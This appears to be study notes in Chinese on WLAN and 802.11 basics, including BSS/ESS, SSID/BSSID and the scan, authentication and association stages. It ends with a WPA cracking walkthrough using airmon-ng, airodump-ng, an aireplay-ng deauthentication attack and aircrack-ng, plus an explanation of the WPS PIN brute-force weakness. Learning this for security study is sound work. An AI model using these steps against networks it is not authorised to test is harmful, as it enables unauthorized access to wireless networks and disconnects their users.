WLAN协议

利用射频(RF)技术通过电磁波替代双绞铜线,在空中建立通信连接,是一种无线接入协议,

无线网和有线网对比

  • 连接建立方式 :无线网需预先建立连接认证(如SSID验证),有线网通过物理线缆直连即通,无额外验证环节。
  • 通信模式差异:无线网采用半双工通信(需轮流收发),有线网支持全双工(可同时双向传输)。
  • 传输可靠性:无线网物理层出错概率显著高于有线网,受障碍物(如墙壁)、射频干扰等因素影响明显。
  • 安全性能:无线信号易被截获(如SSID可见、数据包抓取),存在强制断连攻击可能;有线网需物理接入才能实施攻击。
  • 能效与性能:无线设备因持续收发信号导致能耗较高。吞吐量方面,当前无线技术仍落后于有线网络,但正在持续改进提升。

与WiFi的关系:WiFi是WLAN标准中的具体实现技术之一。

WiFi

基于IEEE 802.11标准,是Wi-Fi联盟的商标认证,中文别称"行动热点"。实际 为高频无线电信号技术。

IEEE802.11协议

802.11标准定义了两类设备:

  • 无线站(STA):如笔记本电脑、手机等终端设备
  • 无线接入点(AP):如无线路由器,负责网络中继

通讯协议栈:

  • STA与AP通信时,双方使用相同的802.11 MAC层和物理层协议

  • 有线设备(如台式机)与AP通信时,使用802.3标准的MAC层和物理层

  • 上层协议(TCP/IP/LLC)保持统一

  • 下层协议根据连接方式不同而区分:

    • 无线连接:802.11 MAC + 802.11 PHY

    • 有线连接:802.3 MAC + 802.3 PHY

中转必要性:当STA与有线设备通信时,必须通过AP进行协议转换

SSID和BSSID

基本服务集(BSS)

  • 组成模块: 基本服务集是802.11 LAN的基本组成模块,由能够互相进行无线通信的STA(Station)组成。
  • 覆盖范围: 当STA移出BSS覆盖范围时,将无法与BSS内其他成员通信。例如家用WiFi中,所有连接设备组成一个BSS,离开家后设备将断开连接。
  • 实际案例: 就像家庭WiFi网络,一个路由器(AP)和连接的手机、电脑等设备共同构成一个BSS。

扩展服务集(ESS)

  • 组成方式: 多个采用相同SSID的BSS通过分布式系统(DS)连接形成ESS,构成更大规模的虚拟BSS。
  • 无缝切换: 在商场或大型建筑中,多个AP广播相同SSID,用户在不同位置可能连接到不同AP但感知不到切换过程。
  • 实际案例: 商场WiFi通常由多个AP组成ESS,用户在一楼连接AP1,到二楼自动切换至AP2,但SSID保持不变。

SSID/BSSID

  • SSID本质: 即WiFi名称,是ESS的网络标识(如TP_Link1412),同一服务集内所有STA和AP必须具有相同SSID才能通信。
  • BSSID本质: 实际上是AP的MAC地址,用于区分ESS中不同的BSS,因为MAC地址固化在网卡上不可修改。
  • 区分原理: 在商场WiFi中,多个AP使用相同SSID(marketing),但各自有不同的BSSID(AP1和AP2的MAC地址不同)。

无线接入过程的三个阶段

扫描阶段:

  • 主动扫描: STA在所有信道主动搜索已知SSID,耗能较高但响应快。
  • 被动扫描: AP定期广播信标帧(Beacon帧),STA接收后选择连接,耗能较低。

认证阶段:

  • 通过密码认证(WEP/WPA等)或开放认证(无密码)验证STA身份。
  • 认证成功后进入关联阶段。

关联阶段:

  • STA发送关联请求,AP响应后建立正式连接。
  • 此后STA可与AP正常收发数据帧。

认证连接与爆破

  • SSID密码认证: 包括WEP、WPA/WPA2等加密方式。
  • WPS认证: 通过物理按钮或PIN码快速连接。

WPA爆破

  • 准备阶段:
    • iwconfig查看无线网卡名
    • airmon-ng check kill关闭干扰进程
    • airmon-ng start wlan0启用监听模式
  • 抓包阶段:
    • airodump-ng扫描WiFi列表
    • airodump-ng -c 频道 -bssid MAC -w 文件名定向抓包
    • aireplay-ng -0 50 -a AP_MAC强制客户端重连获取握手包
  • 破解阶段:
    • aircrack-ng -w 字典文件 抓包文件.cap

WPS爆破

  • PIN码结构缺陷:
    • 第8位为校验位(前7位决定)
    • 实际验证分两次:前4位+后3位
  • 暴力破解效率:
    • 理论组合从10^8^降低为10^4^ + 10^3^
    • 平均5500次即可破解(约2小时)

一个仍在爬山的人